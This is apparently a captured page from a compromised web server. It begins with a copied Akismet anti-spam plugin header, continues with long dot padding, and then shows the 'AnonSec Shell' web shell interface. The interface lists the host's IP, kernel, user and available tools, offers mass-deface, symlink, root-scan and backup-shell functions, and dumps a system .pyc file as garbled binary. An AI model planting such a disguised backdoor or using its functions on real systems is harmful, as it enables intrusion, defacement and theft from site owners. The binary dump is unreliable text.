#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyc
�
L��ec@`s�ddlmZmZmZddlZddlZddlZddlZddlZddl	m
Z
ddlmZddl
mZddlmZddl	mZeje��Zeje�Zdefd	��YZd
efd��YZdS(i(tprint_functiontdivisiontabsolute_importN(tcreate_from_pem(t
initConfig(tPath(tconfig(tCertificateExceptiontConsumerIdentitycB`s�eZdZeddZdZdZed��Zed��Z	e
d��Ze
d��Ze
d	��Z
d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�ZRS(s�Consumer info and certificate information.

    Includes helpers for reading/writing consumer identity certificates
    from disk.trhsmtconsumerCertDirskey.pemscert.pemcC`sttjtjtj��S(N(tstrRtjoinRtPATHtKEY(((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytkeypath-scC`sttjtjtj��S(N(RRRRR
tCERT(((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytcertpath1scC`s[t|j���}|j�}WdQXt|j���}|j�}WdQXt||�S(N(topenRtreadRR(tclstkey_filetkeyt	cert_filetcert((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR5s
cC`s.tjj|j��o-tjj|j��S(N(tostpathtexistsRR(R((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR=scC`sU|j�rQy|j�tSWqQtk
rM}tjd�tj|�qQXntS(Nspossible certificate corruption(RRtTruet	ExceptiontlogtwarnterrortFalse(Rte((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytexistsAndValidBs

cC`s%||_||_t|�|_dS(N(RRRtx509(tselft	keystringt
certstring((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt__init__Ms		cC`s|jj}|jd�S(NtCN(R$tsubjecttget(R%R*((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt
getConsumerIdTscC`s5|jj}|jdd�jdd�jd�dS(NsDirName:/CN=tsURI:CN=s, i����(R$talt_nametreplacetsplit(R%taltName((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytgetConsumerNameXscC`s
|jjS(N(R$tserial(R%((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytgetSerialNumber]scC`s�ddlm}|j�t|j�d��}|j|j�WdQXtj|j�|j	�t|j
�d��}|j|j�WdQXtj|j
�|j	�dS(Ni(t
managerlibtw(tsubscription_managerR5t_ConsumerIdentity__mkdirRRtwriteRRtchmodt
ID_CERT_PERMSRR(R%R5RR((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR9bs
cC`s`|j�}tjj|�r.tj|�n|j�}tjj|�r\tj|�ndS(N(RRRRtunlinkR(R%R((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytdeletelscC`s8tj|j�}tjj|�s4tj|�ndS(N(RtabsR
RRRtmkdir(R%R((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt__mkdirtscC`sd|j�|j�fS(Nsconsumer: name="%s", uuid=%s(R2R,(R%((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt__str__ys	(t__name__t
__module__t__doc__tconfR
RRtstaticmethodRRtclassmethodRRR#R(R,R2R4R9R=R8RA(((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR#s"					
		tIdentitycB`sweZdZd�Zd�Zd�Zd�Zed��Zed��Z	ed��Z
ed��Zd	�Z
RS(
sAWrapper for sharing consumer identity without constant reloading.cC`sId|_tj�|_d|_d|_tdd|_|j	�dS(NR	R
(
tNonetconsumert	threadingtLockt_lockt_namet_uuidREt_cert_dir_pathtreload(R%((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR(�s			c
C`s<tjd�|j� y|j�|_Wn�ttfk
r�}d|_tj	rlt
|�jd�}n|}dtj
�|f}t|t�r�|jtjkr�tj|�q�tj|�nX|jdk	r|jj�|_|jj�|_|jj|_n#d|_d|_tdd|_WdQXdS(sGCheck for consumer certificate on disk and update our info accordingly.s1Loading consumer info from identity certificates.sutf-8sDReload of consumer identity cert %s raised an exception with msg: %sR	R
N(RtdebugRMt_get_consumer_identityRJRtIOErrorRItsixtPY2RtdecodeRRt
isinstanceterrnotENOENTR R2RNR,ROR
RPRE(R%terrterr_msgtmsg((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyRQ�s*

		!		cC`s
tj�S(N(RR(R%((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyRS�scC`s
|jdk	S(N(tuuidRI(R%((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytis_valid�scC`s|j�|j}WdQX|S(N(RMRN(R%RN((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pytname�s
cC`s|j�|j}WdQX|S(N(RMRO(R%RO((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR^�s
cC`s|j�|j}WdQX|S(N(RMRP(R%RP((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt
cert_dir_path�s
cC`s
tj�S(N(RR(((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt
is_present�scC`sd|j|jfS(Ns!Consumer Identity name=%s uuid=%s(R`R^(R%((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyRA�s(RBRCRDR(RQRSR_tpropertyR`R^RaRFRbRA(((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyRHs		 		(t
__future__RRRtloggingRRYRKRUtrhsm.certificateRtrhsm.configRt"subscription_manager.certdirectoryRtrhsmlib.servicesRRtConfigREt	getLoggerRBRtobjectRRH(((sC/usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt<module>s\

Anon7 - 2022
AnonSec Team